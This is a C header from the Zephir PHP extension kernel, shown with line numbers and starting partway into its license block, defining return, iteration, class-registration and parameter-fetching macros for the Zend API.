15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | +------------------------------------------------------------------------+ 18 | */ 19 | 20 | #ifndef ZEPHIR_KERNEL_MAIN_H 21 | #define ZEPHIR_KERNEL_MAIN_H 22 | 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include "kernel/exception.h" 28 | 29 | /** Main macros */ 30 | #define PH_DEBUG 0 31 | 32 | #define PH_NOISY 256 33 | #define PH_SILENT 1024 34 | #define PH_READONLY 4096 35 | 36 | #define PH_NOISY_CC PH_NOISY TSRMLS_CC 37 | #define PH_SILENT_CC PH_SILENT TSRMLS_CC 38 | 39 | #define PH_SEPARATE 256 40 | #define PH_COPY 1024 41 | #define PH_CTOR 4096 42 | 43 | #ifndef zend_uint 44 | #define zend_uint uint 45 | #endif 46 | 47 | #ifndef str_erealloc 48 | #define str_erealloc(str, new_len) \ 49 | (IS_INTERNED(str) ? _str_erealloc(str, new_len, INTERNED_LEN(str)) : erealloc(str, new_len)) 50 | 51 | static inline char* _str_erealloc(char *str, size_t new_len, size_t old_len) 52 | { 53 | char *buf = (char*)emalloc(new_len); 54 | memcpy(buf, str, old_len); 55 | return buf; 56 | } 57 | #endif 58 | 59 | #ifndef str_efree 60 | #define str_efree(s) \ 61 | do { \ 62 | if (!IS_INTERNED(s)) { \ 63 | efree(s); \ 64 | } \ 65 | } while (0) 66 | #endif 67 | 68 | #define SL(str) ZEND_STRL(str) 69 | #define SS(str) ZEND_STRS(str) 70 | #define ISL(str) (zephir_interned_##str), (sizeof(#str)-1) 71 | #define ISS(str) (zephir_interned_##str), (sizeof(#str)) 72 | 73 | /* Compatibility with PHP 5.3 */ 74 | #ifndef ZVAL_COPY_VALUE 75 | #define ZVAL_COPY_VALUE(z, v)\ 76 | (z)->value = (v)->value;\ 77 | Z_TYPE_P(z) = Z_TYPE_P(v); 78 | #endif 79 | 80 | #ifndef INIT_PZVAL_COPY 81 | #define INIT_PZVAL_COPY(z, v) ZVAL_COPY_VALUE(z, v);\ 82 | Z_SET_REFCOUNT_P(z, 1);\ 83 | Z_UNSET_ISREF_P(z); 84 | #endif 85 | 86 | typedef long zend_long; 87 | 88 | /* Startup functions */ 89 | zend_class_entry *zephir_register_internal_interface_ex(zend_class_entry *orig_ce, zend_class_entry *parent_ce TSRMLS_DC); 90 | 91 | /* Globals functions */ 92 | int zephir_init_global(char *global, unsigned int global_length TSRMLS_DC); 93 | int zephir_get_global(zval **arr, const char *global, unsigned int global_length TSRMLS_DC); 94 | 95 | int zephir_is_callable(zval *var TSRMLS_DC); 96 | int zephir_is_scalar(zval *var); 97 | int zephir_function_exists(const zval *function_name TSRMLS_DC); 98 | int zephir_function_exists_ex(const char *func_name, unsigned int func_len TSRMLS_DC); 99 | int zephir_function_quick_exists_ex(const char *func_name, unsigned int func_len, unsigned long key TSRMLS_DC); 100 | zend_class_entry* zephir_get_internal_ce(const char *class_name, unsigned int class_name_len TSRMLS_DC); 101 | 102 | /* types */ 103 | void zephir_gettype(zval *return_value, zval *arg TSRMLS_DC); 104 | 105 | /* Count */ 106 | void zephir_fast_count(zval *result, zval *array TSRMLS_DC); 107 | int zephir_fast_count_ev(zval *array TSRMLS_DC); 108 | int zephir_fast_count_int(zval *value TSRMLS_DC); 109 | 110 | /* Utils functions */ 111 | static inline int zephir_maybe_separate_zval(zval** z) 112 | { 113 | if (Z_REFCOUNT_PP(z) > 1 && !Z_ISREF_PP(z)) { 114 | zval *new_zv; 115 | 116 | ALLOC_ZVAL(new_zv); 117 | INIT_PZVAL_COPY(new_zv, *z); 118 | *z = new_zv; 119 | zval_copy_ctor(new_zv); 120 | 121 | return 1; 122 | } 123 | 124 | return 0; 125 | } 126 | 127 | int zephir_is_iterable_ex(zval *arr, HashTable **arr_hash, HashPosition *hash_position, int duplicate, int reverse); 128 | void zephir_safe_zval_ptr_dtor(zval *pzval); 129 | 130 | /* Fetch Parameters */ 131 | int zephir_fetch_parameters(int num_args TSRMLS_DC, int required_args, int optional_args, ...); 132 | 133 | /** Symbols */ 134 | #define ZEPHIR_READ_SYMBOL(var, auxarr, name) if (EG(active_symbol_table)){ \ 135 | if (zend_hash_find(EG(active_symbol_table), name, sizeof(name), (void **) &auxarr) == SUCCESS) { \ 136 | var = *auxarr; \ 137 | } else { \ 138 | ZVAL_NULL(var); \ 139 | } \ 140 | } else { \ 141 | ZVAL_NULL(var); \ 142 | } 143 | 144 | #define RETURN_ON_FAILURE(what) \ 145 | do { \ 146 | if (what == FAILURE) { \ 147 | return; \ 148 | } \ 149 | } while (0) 150 | 151 | #define RETURN_MM_ON_FAILURE(what) \ 152 | do { \ 153 | if (what == FAILURE) { \ 154 | ZEPHIR_MM_RESTORE(); \ 155 | return; \ 156 | } \ 157 | } while (0) 158 | 159 | #if PHP_VERSION_ID < 50600 160 | 161 | /** Return zval checking if it's needed to ctor */ 162 | #define RETURN_CCTOR(var) { \ 163 | *(return_value) = *(var); \ 164 | if (Z_TYPE_P(var) > IS_BOOL) { \ 165 | zephir_copy_ctor(return_value, var); \ 166 | } \ 167 | INIT_PZVAL(return_value) \ 168 | } \ 169 | ZEPHIR_MM_RESTORE(); \ 170 | return; 171 | 172 | /** Return zval checking if it's needed to ctor, without restoring the memory stack */ 173 | #define RETURN_CCTORW(var) { \ 174 | *(return_value) = *(var); \ 175 | if (Z_TYPE_P(var) > IS_BOOL) { \ 176 | zephir_copy_ctor(return_value, var); \ 177 | } \ 178 | INIT_PZVAL(return_value) \ 179 | } \ 180 | return; 181 | 182 | /** Return zval with always ctor */ 183 | #define RETURN_CTOR(var) { \ 184 | RETVAL_ZVAL(var, 1, 0); \ 185 | } \ 186 | ZEPHIR_MM_RESTORE(); \ 187 | return; 188 | 189 | /** Return zval with always ctor, without restoring the memory stack */ 190 | #define RETURN_CTORW(var) { \ 191 | RETVAL_ZVAL(var, 1, 0); \ 192 | } \ 193 | return; 194 | 195 | /** Return this pointer */ 196 | #define RETURN_THIS() { \ 197 | RETVAL_ZVAL(getThis(), 1, 0); \ 198 | } \ 199 | ZEPHIR_MM_RESTORE(); \ 200 | return; 201 | 202 | /** Return zval with always ctor, without restoring the memory stack */ 203 | #define RETURN_THISW() \ 204 | RETURN_ZVAL(getThis(), 1, 0); 205 | 206 | #else 207 | 208 | /** Return zval checking if it's needed to ctor */ 209 | #define RETURN_CCTOR(var) { \ 210 | RETVAL_ZVAL_FAST(var); \ 211 | } \ 212 | ZEPHIR_MM_RESTORE(); \ 213 | return; 214 | 215 | /** Return zval checking if it's needed to ctor, without restoring the memory stack */ 216 | #define RETURN_CCTORW(var) { \ 217 | RETVAL_ZVAL_FAST(var); \ 218 | } \ 219 | return; 220 | 221 | /** Return zval with always ctor */ 222 | #define RETURN_CTOR(var) { \ 223 | RETVAL_ZVAL_FAST(var); \ 224 | } \ 225 | ZEPHIR_MM_RESTORE(); \ 226 | return; 227 | 228 | /** Return zval with always ctor, without restoring the memory stack */ 229 | #define RETURN_CTORW(var) { \ 230 | RETVAL_ZVAL_FAST(var); \ 231 | } \ 232 | return; 233 | 234 | /** Return this pointer */ 235 | #define RETURN_THIS() { \ 236 | RETVAL_ZVAL_FAST(getThis()); \ 237 | } \ 238 | ZEPHIR_MM_RESTORE(); \ 239 | return; 240 | 241 | /** Return zval with always ctor, without restoring the memory stack */ 242 | #define RETURN_THISW() \ 243 | RETURN_ZVAL_FAST(getThis()); 244 | 245 | #endif 246 | 247 | /** Returns variables without ctor */ 248 | #define RETURN_NCTOR(var) { \ 249 | *(return_value) = *(var); \ 250 | INIT_PZVAL(return_value) \ 251 | } \ 252 | ZEPHIR_MM_RESTORE(); \ 253 | return; 254 | 255 | /** Returns variables without ctor, without restoring the memory stack */ 256 | #define RETURN_NCTORW(var) { \ 257 | *(return_value) = *(var); \ 258 | INIT_PZVAL(return_value) \ 259 | } \ 260 | return; 261 | 262 | /** Check for ctor on the same return_value */ 263 | #define RETURN_SCTOR() \ 264 | if (Z_TYPE_P(return_value) > IS_BOOL) { \ 265 | zval_copy_ctor(return_value); \ 266 | } \ 267 | ZEPHIR_MM_RESTORE(); \ 268 | return; 269 | 270 | #define RETURN_LCTOR(var) { \ 271 | zend_uchar is_ref = Z_ISREF_P(return_value); \ 272 | zend_uint refcount = Z_REFCOUNT_P(return_value); \ 273 | (return_value)->value = var.value; \ 274 | Z_TYPE_P(return_value) = Z_TYPE(var); \ 275 | zval_copy_ctor(return_value); \ 276 | Z_SET_ISREF_TO_P(return_value, is_ref); \ 277 | Z_SET_REFCOUNT_P(return_value, refcount); \ 278 | ZEPHIR_MM_RESTORE(); \ 279 | return; \ 280 | } 281 | 282 | #define RETURN_LCTORW(var) { \ 283 | zend_uchar is_ref = Z_ISREF_P(return_value); \ 284 | zend_uint refcount = Z_REFCOUNT_P(return_value); \ 285 | (return_value)->value = var.value; \ 286 | Z_TYPE_P(return_value) = Z_TYPE(var); \ 287 | zval_copy_ctor(return_value); \ 288 | Z_SET_ISREF_TO_P(return_value, is_ref); \ 289 | Z_SET_REFCOUNT_P(return_value, refcount); \ 290 | return; \ 291 | } 292 | 293 | /** 294 | * Check for ctor on the same return_value, without restoring the memory stack 295 | */ 296 | #define RETURN_SCTORW() \ 297 | if (Z_TYPE_P(return_value) > IS_BOOL) { \ 298 | zval_copy_ctor(return_value); \ 299 | } \ 300 | return; 301 | 302 | /** 303 | * Returns a zval in an object member 304 | */ 305 | #define RETURN_MEMBER(object, member_name) \ 306 | zephir_return_property_quick(return_value, return_value_ptr, object, SL(member_name), zend_inline_hash_func(SS(member_name)) TSRMLS_CC); \ 307 | return; 308 | 309 | /** 310 | * Returns a zval in an object member 311 | */ 312 | #define RETURN_MM_MEMBER(object, member_name) \ 313 | zephir_return_property_quick(return_value, return_value_ptr, object, SL(member_name), zend_inline_hash_func(SS(member_name)) TSRMLS_CC); \ 314 | RETURN_MM(); 315 | 316 | /** 317 | * Returns a zval in an object member (quick) 318 | */ 319 | #define RETURN_MEMBER_QUICK(object, member_name, key) \ 320 | zephir_return_property_quick(return_value, NULL, object, SL(member_name), key TSRMLS_CC); \ 321 | return; 322 | 323 | /** 324 | * Returns a zval in an object member (quick) 325 | */ 326 | #define RETURN_MM_MEMBER_QUICK(object, member_name, key) \ 327 | zephir_return_property_quick(return_value, NULL, object, SL(member_name), key TSRMLS_CC); \ 328 | RETURN_MM(); 329 | 330 | /** Return without change return_value */ 331 | #define RETURN_MM() { ZEPHIR_MM_RESTORE(); return; } 332 | 333 | /** Return null restoring memory frame */ 334 | #define RETURN_MM_BOOL(value) { RETVAL_BOOL(value); ZEPHIR_MM_RESTORE(); return; } 335 | 336 | /** Return null restoring memory frame */ 337 | #define RETURN_MM_NULL() { RETVAL_NULL(); ZEPHIR_MM_RESTORE(); return; } 338 | 339 | /** Return bool restoring memory frame */ 340 | #define RETURN_MM_FALSE { RETVAL_FALSE; ZEPHIR_MM_RESTORE(); return; } 341 | #define RETURN_MM_TRUE { RETVAL_TRUE; ZEPHIR_MM_RESTORE(); return; } 342 | 343 | /** Return string restoring memory frame */ 344 | #define RETURN_MM_STRING(str, copy) { RETVAL_STRING(str, copy); ZEPHIR_MM_RESTORE(); return; } 345 | #define RETURN_MM_EMPTY_STRING() { RETVAL_EMPTY_STRING(); ZEPHIR_MM_RESTORE(); return; } 346 | 347 | /** Return empty array */ 348 | #define RETVAL_EMPTY_ARRAY() { array_init(return_value); } 349 | #define RETURN_EMPTY_ARRAY() { RETVAL_EMPTY_ARRAY(); return; } 350 | #define RETURN_MM_EMPTY_ARRAY() { RETVAL_EMPTY_ARRAY(); ZEPHIR_MM_RESTORE(); return; } 351 | 352 | /* Return long */ 353 | #define RETURN_MM_LONG(value) { RETVAL_LONG(value); ZEPHIR_MM_RESTORE(); return; } 354 | 355 | /* Return double */ 356 | #define RETURN_MM_DOUBLE(value) { RETVAL_DOUBLE(value); ZEPHIR_MM_RESTORE(); return; } 357 | 358 | /** Get the current hash key without copying the hash key */ 359 | #define ZEPHIR_GET_HKEY(var, hash, hash_position) \ 360 | zephir_get_current_key(&var, hash, &hash_position TSRMLS_CC); 361 | 362 | /** Get current hash key copying the hash_value if needed */ 363 | #define ZEPHIR_GET_HMKEY(var, hash, hash_pointer) \ 364 | {\ 365 | int hash_type; \ 366 | char *hash_index; \ 367 | uint hash_index_len; \ 368 | ulong hash_num; \ 369 | \ 370 | ZEPHIR_INIT_NVAR(var); \ 371 | hash_type = zend_hash_get_current_key_ex(hash, &hash_index, &hash_index_len, &hash_num, 0, &hash_pointer); \ 372 | if (hash_type == HASH_KEY_IS_STRING) { \ 373 | if (IS_INTERNED(hash_index)) { \ 374 | ZVAL_STRINGL(var, hash_index, hash_index_len - 1, 0); \ 375 | } else { \ 376 | ZVAL_STRINGL(var, hash_index, hash_index_len - 1, 1); \ 377 | } \ 378 | } else { \ 379 | if (hash_type == HASH_KEY_IS_LONG) { \ 380 | ZVAL_LONG(var, hash_num); \ 381 | }\ 382 | }\ 383 | } 384 | 385 | /** Get current hash key copying the iterator if needed */ 386 | // TODO: Deprecated. Will be removed in future 387 | #if PHP_VERSION_ID < 50500 388 | 389 | #define ZEPHIR_GET_IMKEY(var, it) \ 390 | {\ 391 | int key_type; uint str_key_len; \ 392 | ulong int_key; \ 393 | char *str_key; \ 394 | \ 395 | ZEPHIR_INIT_NVAR(var); \ 396 | key_type = it->funcs->get_current_key(it, &str_key, &str_key_len, &int_key TSRMLS_CC); \ 397 | if (key_type == HASH_KEY_IS_STRING) { \ 398 | ZVAL_STRINGL(var, str_key, str_key_len - 1, 1); \ 399 | efree(str_key); \ 400 | } else { \ 401 | if (key_type == HASH_KEY_IS_LONG) { \ 402 | ZVAL_LONG(var, int_key); \ 403 | } else { \ 404 | ZVAL_NULL(var); \ 405 | } \ 406 | } \ 407 | } 408 | 409 | #else 410 | 411 | #define ZEPHIR_GET_IMKEY(var, it) \ 412 | {\ 413 | ZEPHIR_INIT_NVAR(var); \ 414 | it->funcs->get_current_key(it, var TSRMLS_CC); \ 415 | } 416 | 417 | #endif 418 | 419 | /** Foreach */ 420 | #define ZEPHIR_GET_FOREACH_KEY(var, hash, hash_pointer) ZEPHIR_GET_HMKEY(var, hash, hash_pointer) 421 | 422 | /** Check if an array is iterable or not */ 423 | #define zephir_is_iterable(var, array_hash, hash_pointer, duplicate, reverse, file, line) \ 424 | if (!var || !zephir_is_iterable_ex(var, array_hash, hash_pointer, duplicate, reverse)) { \ 425 | ZEPHIR_THROW_EXCEPTION_DEBUG_STRW(zend_exception_get_default(TSRMLS_C), "The argument is not initialized or iterable()", file, line); \ 426 | ZEPHIR_MM_RESTORE(); \ 427 | return; \ 428 | } 429 | 430 | #define ZEPHIR_GET_FOREACH_VALUE(var) \ 431 | ZEPHIR_OBS_NVAR(var); \ 432 | var = *hd; \ 433 | Z_ADDREF_P(var); 434 | 435 | #define ZEPHIR_GET_HVALUE(var, hd) \ 436 | ZEPHIR_OBS_NVAR(var); \ 437 | var = *hd; \ 438 | Z_ADDREF_P(var); 439 | 440 | /** class/interface registering */ 441 | #define ZEPHIR_REGISTER_CLASS(ns, class_name, lower_ns, name, methods, flags) \ 442 | { \ 443 | zend_class_entry ce; \ 444 | memset(&ce, 0, sizeof(zend_class_entry)); \ 445 | INIT_NS_CLASS_ENTRY(ce, #ns, #class_name, methods); \ 446 | lower_ns## _ ##name## _ce = zend_register_internal_class(&ce TSRMLS_CC); \ 447 | lower_ns## _ ##name## _ce->ce_flags |= flags; \ 448 | } 449 | 450 | #define ZEPHIR_REGISTER_CLASS_EX(ns, class_name, lower_ns, lcname, parent_ce, methods, flags) \ 451 | { \ 452 | zend_class_entry ce; \ 453 | if (!parent_ce) { \ 454 | fprintf(stderr, "Can't register class %s::%s with null parent\n", #ns, #class_name); \ 455 | return FAILURE; \ 456 | } \ 457 | memset(&ce, 0, sizeof(zend_class_entry)); \ 458 | INIT_NS_CLASS_ENTRY(ce, #ns, #class_name, methods); \ 459 | lower_ns## _ ##lcname## _ce = zend_register_internal_class_ex(&ce, parent_ce, NULL TSRMLS_CC); \ 460 | if (!lower_ns## _ ##lcname## _ce) { \ 461 | fprintf(stderr, "Zephir Error: Class to extend '%s' was not found when registering class '%s'\n", (parent_ce ? parent_ce->name : "(null)"), ZEND_NS_NAME(#ns, #class_name)); \ 462 | return FAILURE; \ 463 | } \ 464 | lower_ns## _ ##lcname## _ce->ce_flags |= flags; \ 465 | } 466 | 467 | #define ZEPHIR_MAKE_REF(obj) Z_SET_ISREF_P(obj); 468 | #define ZEPHIR_UNREF(obj) Z_UNSET_ISREF_P(obj); 469 | 470 | #define ZEPHIR_REGISTER_INTERFACE(ns, classname, lower_ns, name, methods) \ 471 | { \ 472 | zend_class_entry ce; \ 473 | memset(&ce, 0, sizeof(zend_class_entry)); \ 474 | INIT_NS_CLASS_ENTRY(ce, #ns, #classname, methods); \ 475 | lower_ns## _ ##name## _ce = zend_register_internal_interface(&ce TSRMLS_CC); \ 476 | } 477 | 478 | #define ZEPHIR_REGISTER_INTERFACE_EX(ns, classname, lower_ns, lcname, parent_ce, methods) \ 479 | { \ 480 | zend_class_entry ce; \ 481 | if (!parent_ce) { \ 482 | fprintf(stderr, "Can't register interface %s with null parent\n", ZEND_NS_NAME(#ns, #classname)); \ 483 | return FAILURE; \ 484 | } \ 485 | memset(&ce, 0, sizeof(zend_class_entry)); \ 486 | INIT_NS_CLASS_ENTRY(ce, #ns, #classname, methods); \ 487 | lower_ns## _ ##lcname## _ce = zephir_register_internal_interface_ex(&ce, parent_ce TSRMLS_CC); \ 488 | if (!lower_ns## _ ##lcname## _ce) { \ 489 | fprintf(stderr, "Can't register interface %s with parent %s\n", ZEND_NS_NAME(#ns, #classname), (parent_ce ? parent_ce->name : "(null)")); \ 490 | return FAILURE; \ 491 | } \ 492 | } 493 | 494 | /** Method declaration for API generation */ 495 | #define ZEPHIR_DOC_METHOD(class_name, method) 496 | 497 | /** Low overhead parse/fetch parameters */ 498 | #define zephir_fetch_params(memory_grow, required_params, optional_params, ...) \ 499 | if (zephir_fetch_parameters(ZEND_NUM_ARGS() TSRMLS_CC, required_params, optional_params, __VA_ARGS__) == FAILURE) { \ 500 | if (memory_grow) { \ 501 | RETURN_MM_NULL(); \ 502 | } else { \ 503 | RETURN_NULL(); \ 504 | } \ 505 | } 506 | 507 | #define ZEPHIR_VERIFY_INTERFACE(instance, interface_ce) \ 508 | do { \ 509 | if (Z_TYPE_P(instance) != IS_OBJECT || !instanceof_function_ex(Z_OBJCE_P(instance), interface_ce, 1 TSRMLS_CC)) { \ 510 | char *buf; \ 511 | if (Z_TYPE_P(instance) != IS_OBJECT) { \ 512 | spprintf(&buf, 0, "Unexpected value type: expected object implementing %s, %s given", interface_ce->name, zend_zval_type_name(instance)); \ 513 | } \ 514 | else { \ 515 | spprintf(&buf, 0, "Unexpected value type: expected object implementing %s, object of type %s given", interface_ce->name, Z_OBJCE_P(instance)->name); \ 516 | } \ 517 | ZEPHIR_THROW_EXCEPTION_STR(spl_ce_LogicException, buf); \ 518 | efree(buf); \ 519 | return; \ 520 | } \ 521 | } while (0) 522 | 523 | 524 | #define ZEPHIR_VERIFY_CLASS(instance, class_ce) \ 525 | do { \ 526 | if (Z_TYPE_P(instance) != IS_OBJECT || !instanceof_function_ex(Z_OBJCE_P(instance), class_ce, 0 TSRMLS_CC)) { \ 527 | char *buf; \ 528 | if (Z_TYPE_P(instance) != IS_OBJECT) { \ 529 | spprintf(&buf, 0, "Unexpected value type: expected object of type %s, %s given", class_ce->name, zend_zval_type_name(instance)); \ 530 | } \ 531 | else { \ 532 | spprintf(&buf, 0, "Unexpected value type: expected object of type %s, object of type %s given", class_ce->name, Z_OBJCE_P(instance)->name); \ 533 | } \ 534 | ZEPHIR_THROW_EXCEPTION_STR(spl_ce_LogicException, buf); \ 535 | efree(buf); \ 536 | return; \ 537 | } \ 538 | } while (0) 539 | 540 | #define ZEPHIR_GET_CONSTANT(return_value, const_name) \ 541 | RETURN_MM_ON_FAILURE(zend_get_constant(SL(const_name), return_value TSRMLS_CC)); 542 | 543 | #ifndef ZEPHIR_RELEASE 544 | #define ZEPHIR_DEBUG_PARAMS , const char *file, int line 545 | #define ZEPHIR_DEBUG_PARAMS_DUMMY , "", 0 546 | #else 547 | #define ZEPHIR_DEBUG_PARAMS , const char *file, int line 548 | #define ZEPHIR_DEBUG_PARAMS_DUMMY , "", 0 549 | #endif 550 | 551 | #define ZEPHIR_CHECK_POINTER(v) if (!v) fprintf(stderr, "%s:%d\n", __PRETTY_FUNCTION__, __LINE__); 552 | 553 | int zephir_is_php_version(unsigned int id); 554 | 555 | void zephir_get_args(zval* return_value TSRMLS_DC); 556 | void zephir_get_arg(zval* return_value, int idx TSRMLS_DC); 557 | 558 | #endif /* ZEPHIR_KERNEL_MAIN_H */ 559 | --------------------------------------------------------------------------------